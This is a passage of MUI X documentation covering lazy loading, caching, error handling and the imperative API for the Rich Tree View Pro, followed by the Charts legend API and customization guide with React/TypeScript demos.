  id: string;
  label: string;
  childrenCount?: number;
}>;

function getSliderAriaValueText(value: number) {
  return `${value}°C`;
}

export default function BasicLazyLoading() {
  const [latency, setLatency] = React.useState(1000);

  const handleSliderChange = (_event: Event, newLatency: number | number[]) => {
    setLatency(newLatency as number);
  };

  const fetchData = async (): Promise<ItemType[]> => {
    const length: number = randomInt(5, 10);
    const rows = Array.from({ length }, () => ({
      id: randomId(),
      label: randomName({}, {}),
      ...(randomBoolean() ? { childrenCount: length } : {}),
    }));

    return new Promise((resolve) => {
      setTimeout(() => {
        resolve(rows);
      }, latency);
    });
  };

  return (
    <Box sx={{ width: '300px' }}>
      <Box sx={{ width: 250 }}>
        <Typography id="latency-slider" gutterBottom>
          Loading latency: {latency} (ms)
        </Typography>
        <Slider
          value={latency}
          onChange={handleSliderChange}
          aria-labelledby="latency-slider"
          min={500}
          max={10000}
          shiftStep={1000}
          step={500}
          marks
          getAriaValueText={getSliderAriaValueText}
          valueLabelDisplay="auto"
        />
      </Box>
      <RichTreeViewPro
        items={[]}
        dataSource={{
          getChildrenCount: (item) => item?.childrenCount as number,
          getTreeItems: fetchData,
        }}
      />
    </Box>
  );
}

```

### Using react-query

The following demo uses `fetchQuery` from `react-query` to load data.

```tsx
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';
import {
  randomInt,
  randomName,
  randomId,
  randomBoolean,
} from '@mui/x-data-grid-generator';
import { TreeViewBaseItem } from '@mui/x-tree-view/models';
import {
  QueryClient,
  QueryClientProvider,
  useQueryClient,
} from '@tanstack/react-query';

const queryClient = new QueryClient();

type ItemType = TreeViewBaseItem<{
  id: string;
  label: string;
  childrenCount?: number;
}>;

const items: ItemType[] = [];

const fetchData = async (_parentId?: string): Promise<ItemType[]> => {
  const length: number = randomInt(5, 10);
  const rows = Array.from({ length }, () => ({
    id: randomId(),
    label: randomName({}, {}),
    ...(randomBoolean() ? { childrenCount: length } : {}),
  }));

  return new Promise((resolve) => {
    setTimeout(() => {
      resolve(rows);
    }, 1000);
  });
};

export function FetchChildren() {
  const myQueryClient = useQueryClient();

  const fetchTreeItems = async (parentId?: string) => {
    const queryKey = parentId ? ['treeItems', parentId] : ['treeItems', 'root'];
    const data = await myQueryClient.fetchQuery({
      queryKey,
      queryFn: () => fetchData(parentId),
    });
    return data;
  };

  return (
    <RichTreeViewPro
      items={items}
      dataSource={{
        getChildrenCount: (item) => item?.childrenCount as number,
        getTreeItems: fetchTreeItems,
      }}
    />
  );
}

export default function FetchingWithReactQuery() {
  return (
    <QueryClientProvider client={queryClient}>
      <FetchChildren />
    </QueryClientProvider>
  );
}

```

## Data caching

### Custom cache

To provide a custom cache, use the `dataSourceCache` prop, which may be created from scratch or based on a third-party cache library.
This prop accepts a generic interface of type `DataSourceCache`.

The following demo uses `QueryClient` from `react-query` as a data source cache.

```tsx
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';
import {
  randomInt,
  randomName,
  randomId,
  randomBoolean,
} from '@mui/x-data-grid-generator';
import { TreeViewBaseItem } from '@mui/x-tree-view/models';
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
import { DataSourceCache } from '@mui/x-tree-view/utils';

const queryClient = new QueryClient({
  defaultOptions: {
    queries: {
      staleTime: 1000 * 60 * 60,
    },
  },
});

const cache: DataSourceCache = {
  set: (key: string, value) => {
    queryClient.setQueryData([key], value);
  },
  get: (key: string) => {
    return queryClient.getQueryData([key]);
  },
  clear: () => {
    queryClient.clear();
  },
};

type ItemType = TreeViewBaseItem<{
  id: string;
  label: string;
  childrenCount?: number;
}>;
const fetchData = async (_parentId?: string): Promise<ItemType[]> => {
  const length: number = randomInt(5, 10);
  const rows = Array.from({ length }, () => ({
    id: randomId(),
    label: randomName({}, {}),
    ...(randomBoolean() ? { childrenCount: length } : {}),
  }));

  return new Promise((resolve) => {
    setTimeout(() => {
      resolve(rows);
    }, 1000);
  });
};

export function FetchChildren() {
  return (
    <RichTreeViewPro
      items={[]}
      dataSource={{
        getChildrenCount: (item) => item?.childrenCount as number,
        getTreeItems: fetchData,
      }}
      dataSourceCache={cache}
    />
  );
}

export default function ReactQueryCache() {
  return (
    <QueryClientProvider client={queryClient}>
      <FetchChildren />
    </QueryClientProvider>
  );
}

```

### Customize the cache lifetime

The `DataSourceCacheDefault` has a default time to live (`ttl`) of 5 minutes.
To customize it, pass the `ttl` option in milliseconds to the `DataSourceCacheDefault` constructor, and then pass it as the `dataSourceCache` prop.

```tsx
import Box from '@mui/material/Box';
import { randomInt, randomName, randomId } from '@mui/x-data-grid-generator';
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';
import { TreeViewBaseItem } from '@mui/x-tree-view/models';
import { DataSourceCacheDefault } from '@mui/x-tree-view/utils';

const fetchData = async (): Promise<
  TreeViewBaseItem<{
    id: string;
    label: string;
    childrenCount?: number;
  }>[]
> => {
  const rows = Array.from({ length: 10 }, () => ({
    id: randomId(),
    label: randomName({}, {}),
    ...(randomInt(0, 1) ? { childrenCount: 10 } : {}),
  }));

  return new Promise((resolve) => {
    setTimeout(() => {
      resolve(rows);
    }, 1000);
  });
};

const lowTTLCache = new DataSourceCacheDefault({ ttl: 1000 * 10 }); // 10 seconds

export default function LowTTLCache() {
  return (
    <Box sx={{ width: '300px' }}>
      <RichTreeViewPro
        items={[]}
        dataSource={{
          getChildrenCount: (item) => item?.childrenCount as number,
          getTreeItems: fetchData,
        }}
        dataSourceCache={lowTTLCache}
      />
    </Box>
  );
}

```

## Error management

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import Stack from '@mui/material/Stack';
import { randomName, randomId } from '@mui/x-data-grid-generator';
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';
import { initialItems, ItemType } from './items';

export default function ErrorManagement() {
  const [failRequests, setFailRequests] = React.useState(false);
  const fetchData = async (): Promise<ItemType[]> => {
    const rows = Array.from({ length: 10 }, () => ({
      id: randomId(),
      label: randomName({}, {}),
      childrenCount: 10,
    }));

    // make the promise fail conditionally
    return new Promise((resolve, reject) => {
      setTimeout(() => {
        if (failRequests) {
          reject(new Error('Error fetching data'));
        } else {
          resolve(rows);
        }
      }, 1000);
    });
  };

  return (
    <Stack spacing={2} sx={{ width: '300px' }}>
      <Button
        onClick={() => setFailRequests((prev) => !prev)}
        variant="outlined"
        fullWidth
      >
        {failRequests ? 'Resolve requests' : 'Fail Requests'}
      </Button>
      <RichTreeViewPro
        items={initialItems}
        dataSource={{
          getChildrenCount: (item) => item?.childrenCount as number,
          getTreeItems: fetchData,
        }}
      />
    </Stack>
  );
}

```

## Lazy loading and label editing

To store the updated item labels on your server, use the `onItemLabelChange()` callback function.

Changes to the label are not automatically updated in the `dataSourceCache` and must be updated manually.
The demo below shows you how to update the cache once a label is changed so the changes are reflected in the tree.

```tsx
import Box from '@mui/material/Box';
import { randomInt, randomName, randomId } from '@mui/x-data-grid-generator';
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';
import { TreeViewBaseItem, TreeViewItemId } from '@mui/x-tree-view/models';
import { DataSourceCacheDefault } from '@mui/x-tree-view/utils';
import { useRichTreeViewProApiRef } from '@mui/x-tree-view-pro/hooks';

const fetchData = async (): Promise<
  TreeViewBaseItem<{
    id: string;
    label: string;
    childrenCount?: number;
  }>[]
> => {
  const rows = Array.from({ length: 10 }, () => ({
    id: randomId(),
    label: randomName({}, {}),
    ...(randomInt(0, 1) ? { childrenCount: 10 } : {}),
  }));

  return new Promise((resolve) => {
    setTimeout(() => {
      resolve(rows);
    }, 1000);
  });
};

const customCache = new DataSourceCacheDefault({}); // 10 seconds

export default function LazyLoadingAndLabelEditing() {
  const apiRef = useRichTreeViewProApiRef();

  const handleItemLabelChange = (itemId: TreeViewItemId, newLabel: string) => {
    const parentId = apiRef.current?.getParentId(itemId) || 'root';

    const cachedData = customCache.get(parentId);
    if (cachedData !== undefined && cachedData !== -1) {
      const newCache = cachedData.map((item) => {
        const newItem = item;
        if (item.id === itemId) {
          newItem.label = newLabel;
        }

        return newItem;
      });
      customCache.set(parentId, newCache);
    }
  };

  return (
    <Box sx={{ width: '300px' }}>
      <RichTreeViewPro
        items={[]}
        apiRef={apiRef}
        onItemLabelChange={handleItemLabelChange}
        isItemEditable
        dataSource={{
          getChildrenCount: (item) => item?.childrenCount as number,
          getTreeItems: fetchData,
        }}
        dataSourceCache={customCache}
      />
    </Box>
  );
}

```

## Imperative API

To use the `apiRef` object, you need to initialize it using the `useRichTreeViewProApiRef()` hook as follows:

```tsx
const apiRef = useRichTreeViewProApiRef();

return <RichTreeViewPro apiRef={apiRef} items={ITEMS} />;
```

When your component first renders, `apiRef.current` is `undefined`.
After the initial render, `apiRef` holds methods to interact imperatively with `RichTreeView`.

### Update the children of an item

Use the `updateItemChildren()` API method to fetch the children of an item:

```ts
apiRef.current.updateItemChildren(
  // The id of the item to update the children of
  // null if the entire tree needs to be reloaded
  itemId,
);
```

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import IconButton from '@mui/material/IconButton';
import CachedIcon from '@mui/icons-material/Cached';
import {
  randomInt,
  randomName,
  randomId,
  randomBoolean,
} from '@mui/x-data-grid-generator';
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';
import {
  TreeItemContent,
  TreeItemIconContainer,
  TreeItemGroupTransition,
  TreeItemLabel,
  TreeItemRoot,
  TreeItemCheckbox,
  TreeItemProps,
} from '@mui/x-tree-view/TreeItem';
import {
  TreeViewBaseItem,
  TreeViewCancellableEventHandler,
} from '@mui/x-tree-view/models';
import { TreeItemIcon } from '@mui/x-tree-view/TreeItemIcon';
import { TreeItemProvider } from '@mui/x-tree-view/TreeItemProvider';
import { TreeItemDragAndDropOverlay } from '@mui/x-tree-view/TreeItemDragAndDropOverlay';
import { useTreeItem } from '@mui/x-tree-view/useTreeItem';

type ItemType = TreeViewBaseItem<{
  id: string;
  label: string;
  childrenCount?: number;
}>;

const LATENCY_MS = 300;

const CustomTreeItem = React.forwardRef(function CustomTreeItem(
  props: TreeItemProps,
  ref: React.Ref<HTMLLIElement>,
) {
  const { id, itemId, label, disabled, children, ...other } = props;

  const {
    getContextProviderProps,
    getRootProps,
    getContentProps,
    getIconContainerProps,
    getCheckboxProps,
    getLabelProps,
    getGroupTransitionProps,
    getDragAndDropOverlayProps,
    status,
    publicAPI,
  } = useTreeItem({
    id,
    itemId,
    children,
    label,
    disabled,
    rootRef: ref,
  });

  const refreshChildren: TreeViewCancellableEventHandler<React.MouseEvent> = (
    event,
  ) => {
    event.defaultMuiPrevented = true;
    publicAPI.updateItemChildren!(itemId);
  };

  return (
    <TreeItemProvider {...getContextProviderProps()}>
      <TreeItemRoot {...getRootProps(other as any)}>
        <TreeItemContent {...getContentProps()}>
          <TreeItemIconContainer {...getIconContainerProps()}>
            <TreeItemIcon status={status} />
          </TreeItemIconContainer>
          <Box sx={{ flexGrow: 1, display: 'flex', gap: 1 }}>
            <TreeItemCheckbox {...getCheckboxProps()} />
            <TreeItemLabel {...getLabelProps()} />
            {status.expandable && status.expanded && (
              <IconButton
                size="small"
                onClick={refreshChildren}
                title="Refetch children"
              >
                <CachedIcon fontSize="small" />
              </IconButton>
            )}
          </Box>
          <TreeItemDragAndDropOverlay {...getDragAndDropOverlayProps()} />
        </TreeItemContent>
        {children && <TreeItemGroupTransition {...getGroupTransitionProps()} />}
      </TreeItemRoot>
    </TreeItemProvider>
  );
});

export default function ApiMethodUpdateItemChildren() {
  const fetchData = async (): Promise<ItemType[]> => {
    const length: number = randomInt(5, 10);
    const rows = Array.from({ length }, () => ({
      id: randomId(),
      label: randomName({}, {}),
      ...(randomBoolean() ? { childrenCount: length } : {}),
    }));

    return new Promise((resolve) => {
      setTimeout(() => {
        resolve(rows);
      }, LATENCY_MS);
    });
  };

  return (
    <Box sx={{ width: '300px' }}>
      <RichTreeViewPro
        items={[]}
        dataSource={{
          getChildrenCount: (item) => item?.childrenCount as number,
          getTreeItems: fetchData,
        }}
        slots={{ item: CustomTreeItem }}
      />
    </Box>
  );
}

```

---

# Source: https://mui.com/x/api/charts/legend-item-params.md

# LegendItemParams API

## Import

```jsx
import { LegendItemParams } from '@mui/x-charts-premium'
// or
import { LegendItemParams } from '@mui/x-charts-pro'
// or
import { LegendItemParams } from '@mui/x-charts'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| color | `string` | - | Yes |  |
| id | `number \| string` | - | Yes |  |
| label | `string` | - | Yes |  |
| markType | `ChartsLabelMarkProps['type']` | - | Yes |  |
| maxValue | `number \| Date \| null` | - | Yes |  |
| minValue | `number \| Date \| null` | - | Yes |  |
| seriesId | `SeriesId` | - | Yes |  |
| dataIndex | `number` | - | No |  |
| itemId | `PieItemId` | - | No |  |
| type | `ChartSeriesType` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/react-charts/legend.md

---
title: Charts - Legend
productId: x-charts
components: ChartsLegend, ChartsText, ContinuousColorLegend, PiecewiseColorLegend
---

# Charts - Legend

Legend is the UI element mapping symbols and colors to the series' label.

## Basic display

In chart components, the legend links series with `label` properties and their color.

```tsx
import { ScatterChart } from '@mui/x-charts/ScatterChart';
import dataset from '../dataset/random/scatterParallel.json';

export default function BasicLegend() {
  return (
    <ScatterChart
      series={[
        { label: 'Var A', datasetKeys: { id: 'id', x: 'x1', y: 'y1' } },
        { label: 'Var B', datasetKeys: { id: 'id', x: 'x2', y: 'y2' } },
      ]}
      dataset={dataset}
      height={300}
    />
  );
}

```

## Toggle visibility

You can enable interactive visibility toggling by setting the `toggleVisibilityOnClick` prop to `true`.
When enabled, clicking on a legend item hides or shows the corresponding series or data item in the chart.

Hidden items are visually indicated in the legend with reduced opacity.

```tsx
import * as React from 'react';
import { BarChart } from '@mui/x-charts/BarChart';
import { dataset, valueFormatter } from '../dataset/weather';

const chartSetting = {
  xAxis: [
    {
      label: 'rainfall (mm)',
    },
  ],
  height: 300,
};

export default function ToggleSeriesVisibility() {
  return (
    <BarChart
      dataset={dataset}
      yAxis={[{ scaleType: 'band', dataKey: 'month' }]}
      series={[
        { dataKey: 'london', label: 'London', valueFormatter },
        { dataKey: 'paris', label: 'Paris', valueFormatter },
        { dataKey: 'newYork', label: 'New York', valueFormatter },
      ]}
      layout="horizontal"
      slotProps={{
        legend: {
          toggleVisibilityOnClick: true,
        },
      }}
      {...chartSetting}
    />
  );
}

```

### Visibility change callback

You can listen to visibility changes using the `onHiddenItemsChange` prop on the chart component.
This callback receives an array of hidden item identifiers whenever the visibility state changes.

To set the initial hidden items, you can use the `initialHiddenItems` prop.

The following demo shows a line chart where you can toggle series' visibility and see the count of currently visible series.

```tsx
import * as React from 'react';
import { LineChart } from '@mui/x-charts/LineChart';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import type { VisibilityIdentifier } from '@mui/x-charts/plugins';

const series = [
  { id: 'series-a', data: [20, 30, 25, 40, 30], label: 'Series A' },
  { id: 'series-b', data: [15, 25, 20, 35, 20], label: 'Series B' },
  { id: 'series-c', data: [10, 20, 15, 30, 25], label: 'Series C' },
];

export default function VisibilityOnChange() {
  const [hiddenItems, setHiddenItems] = React.useState<VisibilityIdentifier[]>([]);

  const visibleCount = series.length - hiddenItems.length;

  return (
    <Stack direction="column" spacing={2} width={'100%'}>
      <LineChart
        series={series}
        height={300}
        slotProps={{
          legend: {
            toggleVisibilityOnClick: true,
          },
        }}
        initialHiddenItems={[{ type: 'line', seriesId: 'series-a' }]}
        onHiddenItemsChange={(newHiddenItems) => setHiddenItems(newHiddenItems)}
      />
      <Typography variant="body2" textAlign="center">
        Visible series: {visibleCount} / {series.length}
      </Typography>
    </Stack>
  );
}

```

:::info
The `toggleVisibilityOnClick` prop can be combined with the `onItemClick` handler.
When both are in use, the `onItemClick` callback is called first, followed by `onHiddenItemsChange`.
:::

### Controlled visibility

You can control the visibility state externally using the `hiddenItems` prop.
This prop accepts an array of item identifiers that should be hidden in the chart.

Different chart types have different identifier formats:

- All identifiers require a `type` field indicating the series type (for example, `'line'`, `'bar'`, `'pie'`, etc.).
- Use `VisibilityIdentifier` type to build such identifiers.
  - It accepts a series type as generic parameter, and can be used as `VisibilityIdentifier<'line'>` in order to narrow the allowed values.

The demo below shows how to control which items are visible using buttons.

```tsx
import * as React from 'react';
import { PieChart } from '@mui/x-charts/PieChart';
import Stack from '@mui/material/Stack';
import FormControl from '@mui/material/FormControl';
import FormLabel from '@mui/material/FormLabel';
import ToggleButton from '@mui/material/ToggleButton';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import type { VisibilityIdentifier } from '@mui/x-charts/plugins';

const data = [
  { value: 10, label: 'Series A' },
  { value: 15, label: 'Series B' },
  { value: 20, label: 'Series C' },
];

export default function ControlledVisibility() {
  const [hiddenItems, setHiddenItems] = React.useState<
    VisibilityIdentifier<'pie'>[]
  >([{ type: 'pie', seriesId: 'custom', dataIndex: 0 }]);

  const handleShowAll = () => {
    setHiddenItems([]);
  };

  const handleHideAll = () => {
    setHiddenItems([
      { type: 'pie', seriesId: 'custom', dataIndex: 0 },
      { type: 'pie', seriesId: 'custom', dataIndex: 1 },
      { type: 'pie', seriesId: 'custom', dataIndex: 2 },
    ]);
  };

  const handleShowOnlyA = () => {
    setHiddenItems([
      { type: 'pie', seriesId: 'custom', dataIndex: 1 },
      { type: 'pie', seriesId: 'custom', dataIndex: 2 },
    ]);
  };

  const handleToggleChange = (
    _event: React.MouseEvent<HTMLElement>,
    newValue: string | null,
  ) => {
    if (newValue === 'all') {
      handleShowAll();
    } else if (newValue === 'none') {
      handleHideAll();
    } else if (newValue === 'onlyA') {
      handleShowOnlyA();
    }
  };

  const getCurrentValue = () => {
    const allVisible = hiddenItems.length === 0;
    const allHidden = hiddenItems.length === data.length;
    const onlyAVisible =
      hiddenItems.length === 2 &&
      hiddenItems[0].dataIndex === 1 &&
      hiddenItems[1].dataIndex === 2;

    if (allVisible) {
      return 'all';
    }
    if (allHidden) {
      return 'none';
    }
    if (onlyAVisible) {
      return 'onlyA';
    }
    return null;
  };

  return (
    <Stack spacing={2}>
      <FormControl sx={{ mb: 2 }}>
        <FormLabel>Controlled Highlighting</FormLabel>
        <ToggleButtonGroup
          value={getCurrentValue()}
          exclusive
          onChange={handleToggleChange}
          aria-label="highlight control"
          size="small"
        >
          <ToggleButton value="all" aria-label="show all nodes">
            Show All
          </ToggleButton>
          <ToggleButton value="none" aria-label="show no nodes">
            Hide All
          </ToggleButton>
          <ToggleButton value="onlyA" aria-label="show only node A">
            Show Only A
          </ToggleButton>
        </ToggleButtonGroup>
      </FormControl>
      <PieChart
        series={[{ id: 'custom', data }]}
        height={300}
        hiddenItems={hiddenItems}
        slotProps={{
          legend: {
            toggleVisibilityOnClick: true,
          },
        }}
        onHiddenItemsChange={(newIdentifiers) => setHiddenItems(newIdentifiers)}
      />
    </Stack>
  );
}

```

## Customization

This section explains how to customize the legend using classes and properties.

### Dimensions

Much of the customization can be done using CSS properties.
There is a main class for the legend container, `.MuiChartsLegend-root`.
Alternatively the `legendClasses` variable can be used if using CSS-in-JS to target the elements.

Each legend item is composed of two main elements: the `mark` and the `label`.

The example below explains how it is possible to customize some parts the legend.
And shows how to use both the `legendClasses` variable and the CSS class directly.

```tsx
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import { PieChart } from '@mui/x-charts/PieChart';
import { legendClasses } from '@mui/x-charts/ChartsLegend';

const data = [
  { id: 0, value: 10, label: 'Series A' },
  { id: 1, value: 15, label: 'Series B' },
  { id: 2, value: 20, label: 'Series C' },
  { id: 3, value: 10, label: 'Series D' },
  { id: 4, value: 15, label: 'Series E' },
  { id: 5, value: 20, label: 'Series F' },
  { id: 6, value: 10, label: 'Series G' },
];

export default function LegendDimension() {
  return (
    <ChartsUsageDemo
      componentName="Legend"
      data={
        {
          direction: {
            knob: 'select',
            defaultValue: 'horizontal',
            options: ['horizontal', 'vertical'],
          },
          markSize: { knob: 'number', defaultValue: 15, min: 0 },
          markGap: { knob: 'number', defaultValue: 8, min: 0 },
          itemGap: { knob: 'number', defaultValue: 16, min: 0 },
        } as const
      }
      renderDemo={(props) => (
        <PieChart
          series={[{ data }]}
          slotProps={{
            legend: {
              direction: props.direction,
              sx: {
                gap: `${props.itemGap}px`,
                [`.${legendClasses.mark}`]: {
                  height: props.markSize,
                  width: props.markSize,
                },
                [`.${legendClasses.series}`]: {
                  gap: `${props.markGap}px`,
                },
              },
            },
          }}
          height={200}
          width={200}
        />
      )}
      getCode={({ props }) => {
        return `import { PieChart } from '@mui/x-charts/PieChart';
import { legendClasses } from '@mui/x-charts/ChartsLegend';

<PieChart
  {/** ... */}
  slotProps={{
    legend: {
      direction: props.direction,
      sx: {
        gap: '${props.itemGap}px',
        // CSS-in-JS
        [\`.\${legendClasses.mark}\`]: {
          height: ${props.markSize},
          width: ${props.markSize},
        },
        // CSS class
        ['.${legendClasses.series}']: {
          gap: '${props.markGap}px',
        },
      },
    },
  }}
/>
`;
      }}
    />
  );
}

```

### Position

The legend can either be displayed in a `'vertical'` or `'horizontal'` layout controlled with the `direction` property.

It can also be moved with the `position: { vertical, horizontal }` property which defines how the legend aligns itself in the parent container.

- `vertical` can be `'top'`, `'middle'`, or `'bottom'`.
- `horizontal` can be `'left'`, `'middle'`, or `'right'`.

By default, the legend is placed above the charts.

The position management relies on a [grid-template](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/grid-template).
If you create a custom legend component, you need to set the CSS property `grid-area` to `'legend'` to get your component correctly placed.

:::warning
The `position` property is only available in the `slotProps`, but not in the `<ChartsLegend />` props.
In the second case, you are free to place the legend where you want.
:::

```tsx
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import { PieChart } from '@mui/x-charts/PieChart';

const data = [
  { id: 0, value: 10, label: 'Series A' },
  { id: 1, value: 15, label: 'Series B' },
  { id: 2, value: 20, label: 'Series C' },
  { id: 3, value: 10, label: 'Series D' },
  { id: 4, value: 15, label: 'Series E' },
  { id: 5, value: 20, label: 'Series F' },
  { id: 6, value: 10, label: 'Series G' },
  { id: 7, value: 15, label: 'Series H' },
  { id: 8, value: 20, label: 'Series I' },
  { id: 9, value: 10, label: 'Series J' },
  { id: 10, value: 15, label: 'Series K' },
  { id: 11, value: 20, label: 'Series L' },
  { id: 12, value: 10, label: 'Series M' },
  { id: 13, value: 15, label: 'Series N' },
  { id: 14, value: 20, label: 'Series O' },
];

export default function LegendPosition() {
  return (
    <ChartsUsageDemo
      componentName="Legend"
      data={
        {
          direction: {
            knob: 'select',
            defaultValue: 'vertical',
            options: ['horizontal', 'vertical'],
          },
          vertical: {
            knob: 'select',
            defaultValue: 'middle',
            options: ['top', 'middle', 'bottom'],
          },
          horizontal: {
            knob: 'select',
            defaultValue: 'center',
            options: ['start', 'center', 'end'],
          },
          itemsNumber: {
            knob: 'number',
            defaultValue: 3,
            min: 1,
            max: data.length,
          },
        } as const
      }
      renderDemo={(props) => (
        <PieChart
          series={[
            {
              data: data.slice(0, props.itemsNumber),
            },
          ]}
          height={200}
          width={200}
          slotProps={{
            legend: {
              direction: props.direction,
              position: { vertical: props.vertical, horizontal: props.horizontal },
            },
          }}
        />
      )}
      getCode={({ props }) => {
        return `import { PieChart } from '@mui/x-charts/PieChart';

<PieChart
  {/** ... */}
  slotProps={{
    legend: {
      direction: '${props.direction}',
      position: { 
        vertical: '${props.vertical}',
        horizontal: '${props.horizontal}'
      }
    }
  }}
/>
`;
      }}
    />
  );
}

```

### Hiding

You can hide the legend with the `hideLegend` prop of the Chart.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import { PieChart } from '@mui/x-charts/PieChart';

const series = [
  {
    data: [
      { id: 0, value: 10, label: 'series A' },
      { id: 1, value: 15, label: 'series B' },
      { id: 2, value: 20, label: 'series C' },
    ],
  },
];

export default function HiddenLegend() {
  const [isHidden, setIsHidden] = React.useState(false);

  const Toggle = (
    <FormControlLabel
      checked={isHidden}
      control={<Checkbox onChange={(event) => setIsHidden(event.target.checked)} />}
      label="hide the legend"
      labelPlacement="end"
      sx={{ margin: 'auto' }}
    />
  );

  return (
    <Stack>
      {Toggle}
      <PieChart series={series} hideLegend={isHidden} width={200} height={200} />
    </Stack>
  );
}

```

### Label styling

Changing the `label` style can be done by targeting the root component's font properties.

To change the `mark` color or shape, the `fill` class is used instead.
Keep in mind that the `mark` is an SVG element, so the `fill` property is used to change its color.

```tsx
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import { PieChart } from '@mui/x-charts/PieChart';
import { labelMarkClasses } from '@mui/x-charts/ChartsLabel';

const data = [
  { id: 0, value: 10, label: 'Series A' },
  { id: 1, value: 15, label: 'Series B' },
  { id: 2, value: 20, label: 'Series C' },
  { id: 3, value: 10, label: 'Series D' },
];

export default function LegendTextStyling() {
  return (
    <ChartsUsageDemo
      componentName="Legend"
      data={{
        fontSize: { knob: 'number', defaultValue: 14 },
        color: {
          knob: 'select',
          defaultValue: 'blue',
          options: ['blue', 'red', 'green'],
        },
        markColor: {
          knob: 'select',
          defaultValue: 'blue',
          options: ['blue', 'red', 'green'],
        },
      }}
      renderDemo={(props) => (
        <PieChart
          series={[
            {
              data,
            },
          ]}
          height={200}
          width={200}
          slotProps={{
            legend: {
              sx: {
                fontSize: props.fontSize,
                color: props.color,
                [`.${labelMarkClasses.fill}`]: {
                  fill: props.markColor,
                },
              },
            },
          }}
        />
      )}
      getCode={({ props }) => {
        return `import { PieChart } from '@mui/x-charts/PieChart';
import { labelMarkClasses } from '@mui/x-charts/ChartsLabel';

<PieChart
  {/** ... */}
  slotProps={{
    legend: {
      sx: {
        fontSize: ${props.fontSize},
        color: ${props.color},
        [\`.\${labelMarkClasses.fill}\`]: {
          fill: ${props.markColor},
        },
      },
    },
  }}
/>
`;
      }}
    />
  );
}

```

### Change mark shape

To change the mark shape, you can use the `labelMarkType` property of the series item.
For the `pie` series, the `labelMarkType` property is available for each of the pie slices too.

```tsx
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import { BarChart } from '@mui/x-charts/BarChart';

const series = [
  { id: 0, data: [10], label: 'Series A' },
  { id: 1, data: [15], label: 'Series B' },
  { id: 2, data: [20], label: 'Series C' },
  { id: 3, data: [10], label: 'Series D' },
];

export default function LegendMarkType() {
  return (
    <ChartsUsageDemo
      componentName="Legend"
      data={
        {
          markType: {
            knob: 'select',
            defaultValue: 'square',
            options: ['square', 'circle', 'line'],
          },
        } as const
      }
      renderDemo={(props) => (
        <BarChart
          series={series.map((seriesItem) => ({
            ...seriesItem,
            labelMarkType: props.markType,
          }))}
          xAxis={[{ data: ['A'] }]}
          height={200}
        />
      )}
      getCode={({ props }) => {
        return `import { BarChart } from '@mui/x-charts/BarChart';

<BarChart
  {/** ... */}
  series={
    series.map((seriesItem) => ({
      ...seriesItem,
      labelMarkType: '${props.markType}',
    }))
  }
/>
`;
      }}
    />
  );
}

```

#### Custom shapes

For more advanced use cases, you can also provide a component to the `labelMarkType` property of each series to fully customize the mark.

```tsx
import { BarChart } from '@mui/x-charts/BarChart';
import { ChartsLabelCustomMarkProps } from '@mui/x-charts/ChartsLabel';

function HTMLCircle({ className, color }: ChartsLabelCustomMarkProps) {
  return (
    <div className={className} style={{ borderRadius: '100%', background: color }} />
  );
}

function SVGDiamond({ className, color }: ChartsLabelCustomMarkProps) {
  return (
    <svg viewBox="-7.423 -7.423 14.846 14.846">
      <path
        className={className}
        d="M0,-7.423L4.285,0L0,7.423L-4.285,0Z"
        fill={color}
      />
    </svg>
  );
}

export default function LegendCustomLabelMark() {
  return (
    <BarChart
      series={[
        { id: 0, data: [10, 15], label: 'Series A', labelMarkType: HTMLCircle },
        { id: 1, data: [15, 20], label: 'Series B', labelMarkType: 'line' },
        { id: 2, data: [20, 25], label: 'Series C' },
        { id: 3, data: [10, 15], label: 'Series D', labelMarkType: SVGDiamond },
      ]}
      xAxis={[{ data: ['Category 1', 'Category 2'] }]}
      height={200}
    />
  );
}

```

Passing a component to `labelMarkType` affects not only the legend but other places where the label mark is shown, such as tooltips.

Customizing the mark shape of a pie chart depending on the series is slightly different. You can find how to do it in [this example](/x/react-charts/pie-demo/#pie-chart-with-custom-mark-in-legend-and-tooltip).

To ensure compatibility with [gradients and patterns](/x/react-charts/styling/#gradients-and-patterns), consider using SVG instead of HTML in the `labelMarkType`.

### Scrollable legend

The legend can be made scrollable by setting the `overflowY` for vertical legends or `overflowX` for horizontal legends.
Make sure that the legend container has a fixed height or width to enable scrolling.

```tsx
import Stack from '@mui/material/Stack';
import { PieChart } from '@mui/x-charts/PieChart';

const series = [
  {
    data: [
      { id: 0, value: 10, label: 'Series A' },
      { id: 1, value: 15, label: 'Series B' },
      { id: 2, value: 20, label: 'Series C' },
      { id: 3, value: 10, label: 'Series D' },
      { id: 4, value: 15, label: 'Series E' },
      { id: 5, value: 20, label: 'Series F' },
      { id: 6, value: 10, label: 'Series G' },
      { id: 7, value: 15, label: 'Series H' },
      { id: 8, value: 20, label: 'Series I' },
      { id: 9, value: 10, label: 'Series J' },
      { id: 10, value: 15, label: 'Series K' },
      { id: 11, value: 20, label: 'Series L' },
      { id: 12, value: 10, label: 'Series M' },
      { id: 13, value: 15, label: 'Series N' },
      { id: 14, value: 20, label: 'Series O' },
    ],
  },
];

export default function ScrollableLegend() {
  return (
    <Stack height={200} width={200}>
      <PieChart
        series={series}
        sx={{
          height: '100%',
        }}
        slotProps={{
          legend: {
            sx: {
              overflowY: 'scroll',
